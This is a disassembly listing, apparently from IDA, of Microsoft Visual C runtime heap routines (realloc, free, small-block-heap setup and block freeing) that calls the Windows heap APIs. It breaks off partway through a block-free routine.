sub_423880 proc near ; CODE XREF: _realloc_help+2D4p
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
; FUNCTION CHUNK AT 0042392C SIZE 000000EE BYTES
; FUNCTION CHUNK AT 00423A25 SIZE 00000068 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43D060
push offset unknown_libname_3 ; Microsoft VisualC 2-8/net runtime
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFE0h
push ebx
push esi
push edi
cmp [ebp+arg_4], 0FFFFFFE0h
jbe short loc_4238B0
xor eax, eax
jmp loc_423A7C
; ---------------------------------------------------------------------------
loc_4238B0: ; CODE XREF: sub_423880+27j
cmp dword_4F3BEC, 3
jnz loc_423968
push 9
call __lock
add esp, 4
mov [ebp+var_4], 0
mov eax, [ebp+arg_0]
push eax
call ___sbh_find_block
add esp, 4
mov [ebp+var_20], eax
cmp [ebp+var_20], 0
jz short loc_423913
mov [ebp+var_1C], 0
mov ecx, [ebp+arg_4]
cmp ecx, dword_4F3C0C
ja short loc_423913
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_20]
push ecx
call ___sbh_resize_block
add esp, 0Ch
test eax, eax
jz short loc_423913
mov edx, [ebp+arg_0]
mov [ebp+var_1C], edx
loc_423913: ; CODE XREF: sub_423880+61j
; sub_423880+73j ...
mov [ebp+var_4], 0FFFFFFFFh
call sub_423921
jmp short loc_42392C
sub_423880 endp
; =============== S U B R O U T I N E =======================================
sub_423921 proc near ; CODE XREF: sub_423880+9Ap
; DATA XREF: .rdata:0043D068o
push 9
call __unlock
add esp, 4
retn
sub_423921 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423880
loc_42392C: ; CODE XREF: sub_423880+9Fj
cmp [ebp+var_20], 0
jnz short loc_423963
cmp [ebp+arg_4], 0
jnz short loc_42393F
mov [ebp+arg_4], 1
loc_42393F: ; CODE XREF: sub_423880+B6j
mov eax, [ebp+arg_4]
add eax, 0Fh
and al, 0F0h
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
push 10h
mov eax, dword_4F3BE8
push eax
call ds:dword_4F54AC ; RtlReAllocateHeap
mov [ebp+var_1C], eax
loc_423963: ; CODE XREF: sub_423880+B0j
jmp loc_423A79
; ---------------------------------------------------------------------------
loc_423968: ; CODE XREF: sub_423880+37j
cmp dword_4F3BEC, 2
jnz loc_423A46
cmp [ebp+arg_4], 0
jnz short loc_423982
mov [ebp+arg_4], 1
loc_423982: ; CODE XREF: sub_423880+F9j
mov ecx, [ebp+arg_4]
add ecx, 0Fh
and ecx, 0FFFFFFF0h
mov [ebp+arg_4], ecx
push 9
call __lock
add esp, 4
mov [ebp+var_4], 1
lea edx, [ebp+var_24]
push edx
lea eax, [ebp+var_2C]
push eax
mov ecx, [ebp+arg_0]
push ecx
call ___sbh_find_block_0
add esp, 0Ch
mov [ebp+var_28], eax
cmp [ebp+var_28], 0
jz short loc_423A0C
mov [ebp+var_1C], 0
mov edx, [ebp+arg_4]
cmp edx, dword_453CEC
ja short loc_4239F3
mov eax, [ebp+arg_4]
shr eax, 4
push eax
mov ecx, [ebp+var_28]
push ecx
mov edx, [ebp+var_24]
push edx
mov eax, [ebp+var_2C]
push eax
call ___sbh_resize_block_0
add esp, 10h
test eax, eax
jz short loc_4239F3
mov ecx, [ebp+arg_0]
mov [ebp+var_1C], ecx
loc_4239F3: ; CODE XREF: sub_423880+14Cj
; sub_423880+16Bj
push 0FFFFFFFFh
mov edx, [ebp+var_1C]
mov [ebp+var_30], edx
lea eax, [ebp+var_10]
push eax
call __local_unwind2
add esp, 8
mov eax, [ebp+var_30]
jmp short loc_423A7C
; ---------------------------------------------------------------------------
loc_423A0C: ; CODE XREF: sub_423880+13Aj
mov [ebp+var_4], 0FFFFFFFFh
call sub_423A1A
jmp short loc_423A25
; END OF FUNCTION CHUNK FOR sub_423880
; =============== S U B R O U T I N E =======================================
sub_423A1A proc near ; CODE XREF: sub_423880+193p
; DATA XREF: .rdata:0043D074o
push 9
call __unlock
add esp, 4
retn
sub_423A1A endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423880
loc_423A25: ; CODE XREF: sub_423880+198j
cmp [ebp+var_28], 0
jnz short loc_423A44
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
push 10h
mov eax, dword_4F3BE8
push eax
call ds:dword_4F54AC ; RtlReAllocateHeap
mov [ebp+var_1C], eax
loc_423A44: ; CODE XREF: sub_423880+1A9j
jmp short loc_423A79
; ---------------------------------------------------------------------------
loc_423A46: ; CODE XREF: sub_423880+EFj
cmp [ebp+arg_4], 0
jnz short loc_423A53
mov [ebp+arg_4], 1
loc_423A53: ; CODE XREF: sub_423880+1CAj
mov ecx, [ebp+arg_4]
add ecx, 0Fh
and ecx, 0FFFFFFF0h
mov [ebp+arg_4], ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
push 10h
mov ecx, dword_4F3BE8
push ecx
call ds:dword_4F54AC ; RtlReAllocateHeap
mov [ebp+var_1C], eax
loc_423A79: ; CODE XREF: sub_423880:loc_423963j
; sub_423880:loc_423A44j
mov eax, [ebp+var_1C]
loc_423A7C: ; CODE XREF: sub_423880+2Bj
; sub_423880+18Aj
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_423880
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_423A90(void *Src,int)
sub_423A90 proc near ; CODE XREF: _realloc_help+2AFp
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
Size = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
Dst = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
Src = dword ptr 8
arg_4 = dword ptr 0Ch
; FUNCTION CHUNK AT 00423C63 SIZE 0000020C BYTES
; FUNCTION CHUNK AT 00423E7A SIZE 000000A9 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43D078
push offset unknown_libname_3 ; Microsoft VisualC 2-8/net runtime
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFC8h
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
mov [ebp+var_1C], eax
cmp [ebp+Src], 0
jnz short loc_423AD0
mov ecx, [ebp+arg_4]
push ecx
call __malloc_base
add esp, 4
jmp loc_423F12
; ---------------------------------------------------------------------------
loc_423AD0: ; CODE XREF: sub_423A90+2Dj
cmp [ebp+arg_4], 0
jnz short loc_423AE9
mov edx, [ebp+Src]
push edx
call sub_423F30
add esp, 4
xor eax, eax
jmp loc_423F12
; ---------------------------------------------------------------------------
loc_423AE9: ; CODE XREF: sub_423A90+44j
cmp dword_4F3BEC, 3
jnz loc_423CCF
loc_423AF6: ; CODE XREF: sub_423A90:loc_423CCAj
mov [ebp+Dst], 0
cmp [ebp+arg_4], 0FFFFFFE0h
ja loc_423C9C
push 9
call __lock
add esp, 4
mov [ebp+var_4], 0
mov eax, [ebp+Src]
push eax
call ___sbh_find_block
add esp, 4
mov [ebp+var_28], eax
cmp [ebp+var_28], 0
jz loc_423C4A
mov ecx, [ebp+arg_4]
cmp ecx, dword_4F3C0C
ja loc_423BCA
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+Src]
push eax
mov ecx, [ebp+var_28]
push ecx
call ___sbh_resize_block
add esp, 0Ch
test eax, eax
jz short loc_423B60
mov edx, [ebp+Src]
mov [ebp+Dst], edx
jmp short loc_423BCA
; ---------------------------------------------------------------------------
loc_423B60: ; CODE XREF: sub_423A90+C6j
mov eax, [ebp+arg_4]
push eax
call ___sbh_alloc_block
add esp, 4
mov [ebp+Dst], eax
cmp [ebp+Dst], 0
jz short loc_423BCA
mov ecx, [ebp+Src]
mov edx, [ecx-4]
sub edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+var_20]
cmp eax, [ebp+arg_4]
jnb short loc_423B91
mov ecx, [ebp+var_20]
mov [ebp+Size], ecx
jmp short loc_423B97
; ---------------------------------------------------------------------------
loc_423B91: ; CODE XREF: sub_423A90+F7j
mov edx, [ebp+arg_4]
mov [ebp+Size], edx
loc_423B97: ; CODE XREF: sub_423A90+FFj
mov eax, [ebp+Size]
push eax ; Size
mov ecx, [ebp+Src]
push ecx ; Src
mov edx, [ebp+Dst]
push edx ; Dst
call _memcpy
add esp, 0Ch
mov eax, [ebp+Src]
push eax
call ___sbh_find_block
add esp, 4
mov [ebp+var_28], eax
mov ecx, [ebp+Src]
push ecx
mov edx, [ebp+var_28]
push edx
call sub_424410
add esp, 8
loc_423BCA: ; CODE XREF: sub_423A90+AAj
; sub_423A90+CEj ...
cmp [ebp+Dst], 0
jnz short loc_423C4A
cmp [ebp+arg_4], 0
jnz short loc_423BDD
mov [ebp+arg_4], 1
loc_423BDD: ; CODE XREF: sub_423A90+144j
mov eax, [ebp+arg_4]
add eax, 0Fh
and al, 0F0h
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
push ecx
push 0
mov edx, dword_4F3BE8
push edx
call ds:dword_4F5418 ; RtlAllocateHeap
mov [ebp+Dst], eax
cmp [ebp+Dst], 0
jz short loc_423C4A
mov eax, [ebp+Src]
mov ecx, [eax-4]
sub ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+var_20]
cmp edx, [ebp+arg_4]
jnb short loc_423C20
mov eax, [ebp+var_20]
mov [ebp+var_40], eax
jmp short loc_423C26
; ---------------------------------------------------------------------------
loc_423C20: ; CODE XREF: sub_423A90+186j
mov ecx, [ebp+arg_4]
mov [ebp+var_40], ecx
loc_423C26: ; CODE XREF: sub_423A90+18Ej
mov edx, [ebp+var_40]
push edx ; Size
mov eax, [ebp+Src]
push eax ; Src
mov ecx, [ebp+Dst]
push ecx ; Dst
call _memcpy
add esp, 0Ch
mov edx, [ebp+Src]
push edx
mov eax, [ebp+var_28]
push eax
call sub_424410
add esp, 8
loc_423C4A: ; CODE XREF: sub_423A90+9Bj
; sub_423A90+13Ej ...
mov [ebp+var_4], 0FFFFFFFFh
call sub_423C58
jmp short loc_423C63
sub_423A90 endp
; =============== S U B R O U T I N E =======================================
sub_423C58 proc near ; CODE XREF: sub_423A90+1C1p
; DATA XREF: .rdata:0043D080o
push 9
call __unlock
add esp, 4
retn
sub_423C58 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423A90
loc_423C63: ; CODE XREF: sub_423A90+1C6j
cmp [ebp+var_28], 0
jnz short loc_423C9C
cmp [ebp+arg_4], 0
jnz short loc_423C76
mov [ebp+arg_4], 1
loc_423C76: ; CODE XREF: sub_423A90+1DDj
mov ecx, [ebp+arg_4]
add ecx, 0Fh
and ecx, 0FFFFFFF0h
mov [ebp+arg_4], ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+Src]
push eax
push 0
mov ecx, dword_4F3BE8
push ecx
call ds:dword_4F54AC ; RtlReAllocateHeap
mov [ebp+Dst], eax
loc_423C9C: ; CODE XREF: sub_423A90+71j
; sub_423A90+1D7j
cmp [ebp+Dst], 0
jnz short loc_423CAB
cmp dword_4F3584, 0
jnz short loc_423CB3
loc_423CAB: ; CODE XREF: sub_423A90+210j
mov eax, [ebp+Dst]
jmp loc_423F12
; ---------------------------------------------------------------------------
loc_423CB3: ; CODE XREF: sub_423A90+219j
mov edx, [ebp+arg_4]
push edx
call __callnewh
add esp, 4
test eax, eax
jnz short loc_423CCA
xor eax, eax
jmp loc_423F12
; ---------------------------------------------------------------------------
loc_423CCA: ; CODE XREF: sub_423A90+231j
jmp loc_423AF6
; ---------------------------------------------------------------------------
loc_423CCF: ; CODE XREF: sub_423A90+60j
cmp dword_4F3BEC, 2
jnz loc_423EAA
cmp [ebp+arg_4], 0FFFFFFE0h
ja short loc_423CFC
cmp [ebp+arg_4], 0
jbe short loc_423CF5
mov eax, [ebp+arg_4]
add eax, 0Fh
and al, 0F0h
mov [ebp+arg_4], eax
jmp short loc_423CFC
; ---------------------------------------------------------------------------
loc_423CF5: ; CODE XREF: sub_423A90+256j
mov [ebp+arg_4], 10h
loc_423CFC: ; CODE XREF: sub_423A90+250j
; sub_423A90+263j ...
mov [ebp+Dst], 0
cmp [ebp+arg_4], 0FFFFFFE0h
ja loc_423E7A
push 9
call __lock
add esp, 4
mov [ebp+var_4], 1
lea ecx, [ebp+var_2C]
push ecx
lea edx, [ebp+var_38]
push edx
mov eax, [ebp+Src]
push eax
call ___sbh_find_block_0
add esp, 0Ch
mov [ebp+var_30], eax
cmp [ebp+var_30], 0
jz loc_423E47
mov ecx, [ebp+arg_4]
cmp ecx, dword_453CEC
jnb loc_423DD8
mov edx, [ebp+arg_4]
shr edx, 4
push edx
mov eax, [ebp+var_30]
push eax
mov ecx, [ebp+var_2C]
push ecx
mov edx, [ebp+var_38]
push edx
call ___sbh_resize_block_0
add esp, 10h
test eax, eax
jz short loc_423D75
mov eax, [ebp+Src]
mov [ebp+Dst], eax
jmp short loc_423DD8
; ---------------------------------------------------------------------------
loc_423D75: ; CODE XREF: sub_423A90+2DBj
mov ecx, [ebp+arg_4]
shr ecx, 4
push ecx
call ___sbh_alloc_block_0
add esp, 4
mov [ebp+Dst], eax
cmp [ebp+Dst], 0
jz short loc_423DD8
mov edx, [ebp+var_30]
xor eax, eax
mov al, [edx]
shl eax, 4
mov [ebp+var_34], eax
mov ecx, [ebp+var_34]
cmp ecx, [ebp+arg_4]
jnb short loc_423DAA
mov edx, [ebp+var_34]
mov [ebp+var_44], edx
jmp short loc_423DB0
; ---------------------------------------------------------------------------
loc_423DAA: ; CODE XREF: sub_423A90+310j
mov eax, [ebp+arg_4]
mov [ebp+var_44], eax
loc_423DB0: ; CODE XREF: sub_423A90+318j
mov ecx, [ebp+var_44]
push ecx ; Size
mov edx, [ebp+Src]
push edx ; Src
mov eax, [ebp+Dst]
push eax ; Dst
call _memcpy
add esp, 0Ch
mov ecx, [ebp+var_30]
push ecx
mov edx, [ebp+var_2C]
push edx
mov eax, [ebp+var_38]
push eax
call ___sbh_free_block
add esp, 0Ch
loc_423DD8: ; CODE XREF: sub_423A90+2B8j
; sub_423A90+2E3j ...
cmp [ebp+Dst], 0
jnz short loc_423E45
mov ecx, [ebp+arg_4]
push ecx
push 0
mov edx, dword_4F3BE8
push edx
call ds:dword_4F5418 ; RtlAllocateHeap
mov [ebp+Dst], eax
cmp [ebp+Dst], 0
jz short loc_423E45
mov eax, [ebp+var_30]
xor ecx, ecx
mov cl, [eax]
shl ecx, 4
mov [ebp+var_34], ecx
mov edx, [ebp+var_34]
cmp edx, [ebp+arg_4]
jnb short loc_423E17
mov eax, [ebp+var_34]
mov [ebp+var_48], eax
jmp short loc_423E1D
; ---------------------------------------------------------------------------
loc_423E17: ; CODE XREF: sub_423A90+37Dj
mov ecx, [ebp+arg_4]
mov [ebp+var_48], ecx
loc_423E1D: ; CODE XREF: sub_423A90+385j
mov edx, [ebp+var_48]
push edx ; Size
mov eax, [ebp+Src]
push eax ; Src
mov ecx, [ebp+Dst]
push ecx ; Dst
call _memcpy
add esp, 0Ch
mov edx, [ebp+var_30]
push edx
mov eax, [ebp+var_2C]
push eax
mov ecx, [ebp+var_38]
push ecx
call ___sbh_free_block
add esp, 0Ch
loc_423E45: ; CODE XREF: sub_423A90+34Cj
; sub_423A90+368j
jmp short loc_423E61
; ---------------------------------------------------------------------------
loc_423E47: ; CODE XREF: sub_423A90+2A9j
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+Src]
push eax
push 0
mov ecx, dword_4F3BE8
push ecx
call ds:dword_4F54AC ; RtlReAllocateHeap
mov [ebp+Dst], eax
loc_423E61: ; CODE XREF: sub_423A90:loc_423E45j
mov [ebp+var_4], 0FFFFFFFFh
call sub_423E6F
jmp short loc_423E7A
; END OF FUNCTION CHUNK FOR sub_423A90
; =============== S U B R O U T I N E =======================================
sub_423E6F proc near ; CODE XREF: sub_423A90+3D8p
; DATA XREF: .rdata:0043D08Co
push 9
call __unlock
add esp, 4
retn
sub_423E6F endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423A90
loc_423E7A: ; CODE XREF: sub_423A90+277j
; sub_423A90+3DDj
cmp [ebp+Dst], 0
jnz short loc_423E89
cmp dword_4F3584, 0
jnz short loc_423E91
loc_423E89: ; CODE XREF: sub_423A90+3EEj
mov eax, [ebp+Dst]
jmp loc_423F12
; ---------------------------------------------------------------------------
loc_423E91: ; CODE XREF: sub_423A90+3F7j
mov edx, [ebp+arg_4]
push edx
call __callnewh
add esp, 4
test eax, eax
jnz short loc_423EA5
xor eax, eax
jmp short loc_423F12
; ---------------------------------------------------------------------------
loc_423EA5: ; CODE XREF: sub_423A90+40Fj
jmp loc_423CFC
; ---------------------------------------------------------------------------
loc_423EAA: ; CODE XREF: sub_423A90+246j
; sub_423A90:loc_423F10j
mov [ebp+Dst], 0
cmp [ebp+arg_4], 0FFFFFFE0h
ja short loc_423EE8
cmp [ebp+arg_4], 0
jnz short loc_423EC4
mov [ebp+arg_4], 1
loc_423EC4: ; CODE XREF: sub_423A90+42Bj
mov eax, [ebp+arg_4]
add eax, 0Fh
and al, 0F0h
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+Src]
push edx
push 0
mov eax, dword_4F3BE8
push eax
call ds:dword_4F54AC ; RtlReAllocateHeap
mov [ebp+Dst], eax
loc_423EE8: ; CODE XREF: sub_423A90+425j
cmp [ebp+Dst], 0
jnz short loc_423EF7
cmp dword_4F3584, 0
jnz short loc_423EFC
loc_423EF7: ; CODE XREF: sub_423A90+45Cj
mov eax, [ebp+Dst]
jmp short loc_423F12
; ---------------------------------------------------------------------------
loc_423EFC: ; CODE XREF: sub_423A90+465j
mov ecx, [ebp+arg_4]
push ecx
call __callnewh
add esp, 4
test eax, eax
jnz short loc_423F10
xor eax, eax
jmp short loc_423F12
; ---------------------------------------------------------------------------
loc_423F10: ; CODE XREF: sub_423A90+47Aj
jmp short loc_423EAA
; ---------------------------------------------------------------------------
loc_423F12: ; CODE XREF: sub_423A90+3Bj
; sub_423A90+54j ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_423A90
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423F30 proc near ; CODE XREF: sub_41CCE0+26Ep
; sub_41CCE0+3B2p ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 00423FB6 SIZE 00000077 BYTES
; FUNCTION CHUNK AT 00424038 SIZE 0000003E BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43D090
push offset unknown_libname_3 ; Microsoft VisualC 2-8/net runtime
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFE8h
push ebx
push esi
push edi
cmp [ebp+arg_0], 0
jnz short loc_423F5E
jmp loc_424065
; ---------------------------------------------------------------------------
loc_423F5E: ; CODE XREF: sub_423F30+27j
cmp dword_4F3BEC, 3
jnz short loc_423FD4
push 9
call __lock
add esp, 4
mov [ebp+var_4], 0
mov eax, [ebp+arg_0]
push eax
call ___sbh_find_block
add esp, 4
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jz short loc_423F9D
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_1C]
push edx
call sub_424410
add esp, 8
loc_423F9D: ; CODE XREF: sub_423F30+5Bj
mov [ebp+var_4], 0FFFFFFFFh
call sub_423FAB
jmp short loc_423FB6
sub_423F30 endp
; =============== S U B R O U T I N E =======================================
sub_423FAB proc near ; CODE XREF: sub_423F30+74p
; DATA XREF: .rdata:0043D098o
push 9
call __unlock
add esp, 4
retn
sub_423FAB endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423F30
loc_423FB6: ; CODE XREF: sub_423F30+79j
cmp [ebp+var_1C], 0
jnz short loc_423FCF
mov eax, [ebp+arg_0]
push eax
push 0
mov ecx, dword_4F3BE8
push ecx
call ds:dword_4F5414 ; RtlFreeHeap
loc_423FCF: ; CODE XREF: sub_423F30+8Aj
jmp loc_424065
; ---------------------------------------------------------------------------
loc_423FD4: ; CODE XREF: sub_423F30+35j
cmp dword_4F3BEC, 2
jnz short loc_424052
push 9
call __lock
add esp, 4
mov [ebp+var_4], 1
lea edx, [ebp+var_20]
push edx
lea eax, [ebp+var_28]
push eax
mov ecx, [ebp+arg_0]
push ecx
call ___sbh_find_block_0
add esp, 0Ch
mov [ebp+var_24], eax
cmp [ebp+var_24], 0
jz short loc_42401F
mov edx, [ebp+var_24]
push edx
mov eax, [ebp+var_20]
push eax
mov ecx, [ebp+var_28]
push ecx
call ___sbh_free_block
add esp, 0Ch
loc_42401F: ; CODE XREF: sub_423F30+D9j
mov [ebp+var_4], 0FFFFFFFFh
call sub_42402D
jmp short loc_424038
; END OF FUNCTION CHUNK FOR sub_423F30
; =============== S U B R O U T I N E =======================================
sub_42402D proc near ; CODE XREF: sub_423F30+F6p
; DATA XREF: .rdata:0043D0A4o
push 9
call __unlock
add esp, 4
retn
sub_42402D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423F30
loc_424038: ; CODE XREF: sub_423F30+FBj
cmp [ebp+var_24], 0
jnz short loc_424050
mov edx, [ebp+arg_0]
push edx
push 0
mov eax, dword_4F3BE8
push eax
call ds:dword_4F5414 ; RtlFreeHeap
loc_424050: ; CODE XREF: sub_423F30+10Cj
jmp short loc_424065
; ---------------------------------------------------------------------------
loc_424052: ; CODE XREF: sub_423F30+ABj
mov ecx, [ebp+arg_0]
push ecx
push 0
mov edx, dword_4F3BE8
push edx
call ds:dword_4F5414 ; RtlFreeHeap
loc_424065: ; CODE XREF: sub_423F30+29j
; sub_423F30:loc_423FCFj ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_423F30
; ---------------------------------------------------------------------------
align 10h
; [00000062 BYTES: COLLAPSED FUNCTION unknown_libname_6. PRESS KEYPAD "+" TO EXPAND]
; [0000000B BYTES: COLLAPSED FUNCTION sub_4240E2. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [0000003A BYTES: COLLAPSED CHUNK OF FUNCTION unknown_libname_6. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_424127 proc near ; CODE XREF: unknown_libname_6+A0p
; DATA XREF: .rdata:0043D0BCo
push 9
call __unlock
add esp, 4
retn
sub_424127 endp
; ---------------------------------------------------------------------------
; [00000052 BYTES: COLLAPSED CHUNK OF FUNCTION unknown_libname_6. PRESS KEYPAD "+" TO EXPAND]
align 10h
push ebp
mov ebp, esp
call unknown_libname_6 ; Microsoft VisualC 2-8/net runtime
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
cmp dword_4F3BEC, 3
jnz short loc_4241B3
mov eax, dword_4F3C0C
jmp short loc_4241C5
; ---------------------------------------------------------------------------
loc_4241B3: ; CODE XREF: .text:004241AAj
cmp dword_4F3BEC, 2
jnz short loc_4241C3
mov eax, dword_453CEC
jmp short loc_4241C5
; ---------------------------------------------------------------------------
loc_4241C3: ; CODE XREF: .text:004241BAj
xor eax, eax
loc_4241C5: ; CODE XREF: .text:004241B1j
; .text:004241C1j
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_4F3BEC, 3
jnz short loc_4241FF
cmp dword ptr [ebp+8], 3F8h
ja short loc_4241F8
mov eax, [ebp+8]
mov dword_4F3C0C, eax
mov eax, 1
jmp loc_4242D6
; ---------------------------------------------------------------------------
loc_4241F8: ; CODE XREF: .text:004241E4j
xor eax, eax
jmp loc_4242D6
; ---------------------------------------------------------------------------
loc_4241FF: ; CODE XREF: .text:004241DBj
cmp dword_4F3BEC, 2
jnz short loc_424237
mov ecx, [ebp+8]
add ecx, 0Fh
and ecx, 0FFFFFFF0h
mov [ebp+8], ecx
cmp dword ptr [ebp+8], 780h
ja short loc_424230
mov edx, [ebp+8]
mov dword_453CEC, edx
mov eax, 1
jmp loc_4242D6
; ---------------------------------------------------------------------------
loc_424230: ; CODE XREF: .text:0042421Bj
xor eax, eax
jmp loc_4242D6
; ---------------------------------------------------------------------------
loc_424237: ; CODE XREF: .text:00424206j
cmp dword_4F3BEC, 1
jnz loc_4242D4
cmp dword ptr [ebp+8], 0
jbe loc_4242D4
lea eax, [ebp-4]
push eax
call sub_426E90
add esp, 4
mov ecx, [ebp-4]
and ecx, 0FFh
cmp ecx, 6
jl short loc_42429C
cmp dword ptr [ebp+8], 3F8h
ja short loc_42429A
mov edx, [ebp+8]
push edx
call ___sbh_heap_init
add esp, 4
test eax, eax
jz short loc_42429A
mov eax, [ebp+8]
mov dword_4F3C0C, eax
mov dword_4F3BEC, 3
mov eax, 1
jmp short loc_4242D6
; ---------------------------------------------------------------------------
loc_42429A: ; CODE XREF: .text:0042426Fj
; .text:0042427Fj
jmp short loc_4242D4
; ---------------------------------------------------------------------------
loc_42429C: ; CODE XREF: .text:00424266j
mov ecx, [ebp+8]
add ecx, 0Fh
and ecx, 0FFFFFFF0h
mov [ebp+8], ecx
cmp dword ptr [ebp+8], 780h
ja short loc_4242D4
call ___sbh_new_region
test eax, eax
jz short loc_4242D4
mov edx, [ebp+8]
mov dword_453CEC, edx
mov dword_4F3BEC, 2
mov eax, 1
jmp short loc_4242D6
; ---------------------------------------------------------------------------
loc_4242D4: ; CODE XREF: .text:0042423Ej
; .text:00424248j ...
xor eax, eax
loc_4242D6: ; CODE XREF: .text:004241F3j
; .text:004241FAj ...
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; [00000062 BYTES: COLLAPSED FUNCTION ___sbh_heap_init. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000055 BYTES: COLLAPSED FUNCTION ___sbh_find_block. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000005F BYTES: COLLAPSED FUNCTION ___sbh_verify_block. PRESS KEYPAD "+" TO EXPAND]
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424410 proc near ; CODE XREF: sub_423A90+132p
; sub_423A90+1B2p ...
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 3Ch
mov eax, [ebp+arg_0]
mov ecx, [eax+10h]
mov [ebp+var_3C], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_4]
sub eax, [edx+0Ch]
mov [ebp+var_10], eax
mov ecx, [ebp+var_10]
shr ecx, 0Fh
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
imul edx, 204h
mov eax, [ebp+var_3C]
lea ecx, [eax+edx+144h]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_4]
sub edx, 4
mov [ebp+var_1C], edx
mov eax, [ebp+var_1C]
mov ecx, [eax]
sub ecx, 1
mov [ebp+var_30], ecx
mov edx, [ebp+var_30]
and edx, 1
test edx, edx
jz short loc_42446D
jmp loc_4249E8
; ---------------------------------------------------------------------------
loc_42446D: ; CODE XREF: sub_424410+56j
mov eax, [ebp+var_1C]
add eax, [ebp+var_30]
mov [ebp+var_38], eax
mov ecx, [ebp+var_38]
mov edx, [ecx]
mov [ebp+var_14], edx
mov eax, [ebp+var_1C]
mov ecx, [eax-4]
mov [ebp+var_C], ecx
mov edx, [ebp+var_14]
and edx, 1
test edx, edx
jnz loc_4245B7
mov eax, [ebp+var_14]
sar eax, 4
sub eax, 1
mov [ebp+var_24], eax
cmp [ebp+var_24], 3Fh
jbe short loc_4244AE
mov [ebp+var_24], 3Fh
loc_4244AE: ; CODE XREF: sub_424410+95j
mov ecx, [ebp+var_38]
mov edx, [ebp+var_38]
mov eax, [ecx+4]
cmp eax, [edx+8]
jnz loc_424590
cmp [ebp+var_24], 20h
jnb short loc_424525
mov edx, 80000000h
mov ecx, [ebp+var_24]
shr edx, cl
not edx
mov eax, [ebp+var_4]
mov ecx, [ebp+var_3C]
mov eax, [ecx+eax*4+44h]
and eax, edx
mov ecx, [ebp+var_4]
mov edx, [ebp+var_3C]
mov [edx+ecx*4+44h], eax
mov eax, [ebp+var_3C]
add eax, [ebp+var_24]
mov cl, [eax+4]
sub cl, 1
